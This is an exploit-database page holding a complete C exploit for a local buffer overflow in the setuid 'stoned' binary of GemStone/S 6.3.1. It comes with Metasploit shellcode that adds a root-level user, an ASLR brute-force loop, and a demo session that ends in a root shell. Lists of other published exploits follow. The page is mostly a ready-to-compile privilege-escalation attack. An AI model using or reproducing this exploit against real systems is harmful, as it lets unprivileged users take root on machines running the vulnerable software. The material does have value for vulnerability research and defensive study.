Menu

Search for hundreds of thousands of exploits

"GemStone/S 6.3.1 - 'stoned' Local Buffer Overflow"

Author

Exploit author

"Jeremy Brown"

Platform

Exploit platform

linux

Release date

Exploit published date

2009-09-09

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
/*
wonderfulcaricatureofexploitability.c
AKA
GemStone/S 6.3.1 "stoned" Local Buffer Overflow Exploit

Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009

*********************************************************************************************************
Gemstone/S "stoned" suffers from a local buffer overflow when parsing input either from the "-e" or "-l"
flags, which allows a user to specify an exe config file and logfile, respectively. Both use the same
buffer that is overflowed and we can overwrite the instruction pointer to control the flow of "stoned".

GemStone/S 6.3.1 (GemStone-Linux_NC-631.zip) binaries use libstdc++.so.5 which means they were compiled
with GCC <= 3.3.x and do not have GCC 4.x protections in place as they probably would by default if we
compiled them from source or used packages. We will put our payload in the exploitable buffer this time.
That being said, we can brute force ASLR on linux and execute arbitrary code pretty confortably.

linux@debian:~$ uname -a && cat /etc/debian_version
Linux debian 2.6.26-1-486 #1 Sat Jan 10 17:46:23 UTC 2009 i686 GNU/Linux
5.0
linux@debian:~$ /sbin/sysctl -A | grep randomize
.....
kernel.randomize_va_space = 1
.....
linux@debian:~$ ls -al /opt/gemstone/sys/stoned
-rwsr-xr-x 1 root root 994910 2009-05-26 19:40 /opt/gemstone/sys/stoned
linux@debian:~$ gcc -o wonderfulcaricatureofexploitability wonderfulcaricatureofexploitability.c
linux@debian:~$ ./wonderfulcaricatureofexploitability

GemStone/S 6.3.1 "stoned" Local Buffer Overflow Exploit

Brute forcing our return address... please wait.

Hit payload @ 0xbf85b638 -> "su" to gem (stone) for a root shell :)

linux@debian:~$ su gem
Password: 
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# exit
exit
linux@debian:~$

Tested on Debian 5 (Lenny) and Ubuntu 9.04 (Jaunty Jackalope)

Now supposedly "The engineering group has informed me that most or all of the issues you found have been
fixed in our latest 64-bit release", but it looks like they left the 32-bit release out to dry because it
has been over 3 months and I haven't got a response back nor do I see any updated version on the website.
There are more bugs in the GemStone SUID binaries such as format strings and arbitrary file disclosures
that should be fixed now so maybe they will releases updates, I think some people would appreciate it.
*********************************************************************************************************
wonderfulcaricatureofexploitability.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <signal.h>
#include <sys/wait.h>

#define BIN  "/opt/gemstone/sys/stoned"
#define USER "gem"
#define PASS "stone"

#define SIZE 8224
#define CNT  10000
#define NOP  0x90

/* linux_ia32_adduser -  LSHELL=/bin/sh LUSER=gem LPASS=stone Size=116 Encoder=PexFnstenvSub http://metasploit.com */
char shellcode[] = "\x2b\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x35"
                   "\x7f\xe5\x28\x83\xeb\xfc\xe2\xf4\x04\xb6\x6c\xe3\x5f\x39\xbd\xe5"
                   "\xb5\x15\xe0\x70\x04\xb6\xb4\x40\x46\x0c\x92\x4c\x5d\x50\xca\x58"
                   "\x54\x17\xca\x4d\x41\x1c\x6c\xcb\x74\xca\xe1\xe5\xb5\xec\x0d\x09"
                   "\x35\x7f\xe5\x4f\x50\x12\xdf\x69\x74\x0c\xd2\x78\x70\x39\xd0\x47"
                   "\x7f\x0e\xae\x5b\x0f\x4f\xdf\x18\x0f\x45\xca\x12\x1a\x1d\x8c\x46"
                   "\x1a\x0c\x8d\x22\x6c\xf4\xb4\xd4\x5f\x7b\xbd\xe5\xb5\x15\xe4\x70"
                   "\xf8\xff\xe5\x28";

int main(int argc, char *argv[])
{

char buf[SIZE];
int i, stat;
long retaddr;
pid_t pid;
struct timeval time;

     printf("\nGemStone/S 6.3.1 \"stoned\" Local Buffer Overflow Exploit\n\n");

     printf("Brute forcing our return address... please wait.\n\n");

for(i = 0; i < CNT; i++)
{

     gettimeofday(&time, NULL);
     srand(time.tv_sec ^ time.tv_usec);

retaddr = 0xbf000000 + (rand() & 0x00ffffff); // Jon Oberheide

     memset(buf, 0, sizeof(buf));

     memset(buf, NOP, sizeof(buf));
     memcpy(buf+SIZE-strlen(shellcode)-4, shellcode, sizeof(shellcode));
     memcpy(buf+SIZE-4, &retaddr, 4);

buf[SIZE] = '\0';

     fflush(stdout);

pid = fork();

if(pid == 0)
{

if(execl(BIN, BIN, "-l", buf, NULL) < 0) perror("execl"); // -e is also vulnerable

}

     waitpid(pid, &stat, 0);

if(WIFEXITED(stat))
{

     printf("Hit payload @ 0x%lx -> \"su\" to %s (%s) for a root shell :)\n\n", retaddr, USER, PASS);

     return 0;

}
}

     return 0;

}

// milw0rm.com [2009-09-09]
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2019-10-15 "Podman & Varlink 1.5.1 - Remote Code Execution" remote linux "Jeremy Brown"
2019-10-14 "Ajenti 2.1.31 - Remote Code Execution" webapps python "Jeremy Brown"
2016-12-06 "Windows 10 (x86/x64) WLAN AutoConfig - Denial of Service (PoC)" dos windows "Jeremy Brown"
2016-12-04 "BlackStratus LOGStorm 4.5.1.35/4.5.1.96 - Remote Code Execution" remote hardware "Jeremy Brown"
2015-06-10 "Libmimedir - '.VCF' Memory Corruption (PoC)" dos linux "Jeremy Brown"
2015-06-03 "Seagate Central 2014.0410.0026-F - Remote Facebook Access Token" webapps hardware "Jeremy Brown"
2015-06-03 "Seagate Central 2014.0410.0026-F - Remote Command Execution" remote hardware "Jeremy Brown"
2015-05-20 "Comodo GeekBuddy < 4.18.121 - Local Privilege Escalation" local windows "Jeremy Brown"
2015-01-28 "ClearSCADA - Remote Authentication Bypass" remote windows "Jeremy Brown"
2011-06-07 "IBM Tivoli Endpoint 4.1.1 - Remote SYSTEM" remote windows "Jeremy Brown"
2011-03-23 "Progea Movicon 11 - 'TCPUploadServer' Remote File System" remote windows "Jeremy Brown"
2011-03-23 "IGSS 8 ODBC Server - Multiple Remote Uninitialized Pointer Free Denial of Service Vulnerabilities" dos windows "Jeremy Brown"
2011-01-25 "Automated Solutions Modbus/TCP OPC Server - Remote Heap Corruption (PoC)" dos windows "Jeremy Brown"
2011-01-14 "Objectivity/DB - Lack of Authentication" dos windows "Jeremy Brown"
2010-12-18 "Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC)" dos windows "Jeremy Brown"
2010-09-16 "BACnet OPC Client - Local Buffer Overflow (1)" local windows "Jeremy Brown"
2009-12-12 "Mozilla Codesighs - Memory Corruption" local linux "Jeremy Brown"
2009-12-07 "Polipo 1.0.4 - Remote Memory Corruption (PoC)" dos linux "Jeremy Brown"
2009-12-07 "gAlan 0.2.1 - Local Buffer Overflow (1)" local windows "Jeremy Brown"
2009-11-16 "Apple Safari 4.0.3 (Windows x86) - 'CSS' Remote Denial of Service (1)" dos windows_x86 "Jeremy Brown"
2009-10-28 "Mozilla Firefox 3.5.3 - Local Download Manager Temp File Creation" local windows "Jeremy Brown"
2009-10-06 "Geany .18 - Local File Overwrite" local linux "Jeremy Brown"
2009-09-24 "Sun Solaris 10 RPC dmispd - Denial of Service" dos solaris "Jeremy Brown"
2009-09-09 "GemStone/S 6.3.1 - 'stoned' Local Buffer Overflow" local linux "Jeremy Brown"
2009-09-09 "Apple Safari 3.2.3 (Windows x86) - JavaScript 'eval' Remote Denial of Service" dos windows_x86 "Jeremy Brown"
2009-09-09 "Ipswitch WS_FTP 12 Professional - Remote Format String (PoC)" dos windows "Jeremy Brown"
2009-07-21 "Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation" local windows "Jeremy Brown"
2009-05-07 "GrabIt 1.7.2x - NZB DTD Reference Buffer Overflow" local windows "Jeremy Brown"
2009-03-12 "POP Peeper 3.4.0.0 - Date Remote Buffer Overflow" remote windows "Jeremy Brown"
2009-02-27 "POP Peeper 3.4.0.0 - UIDL Remote Buffer Overflow (SEH)" remote windows "Jeremy Brown"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.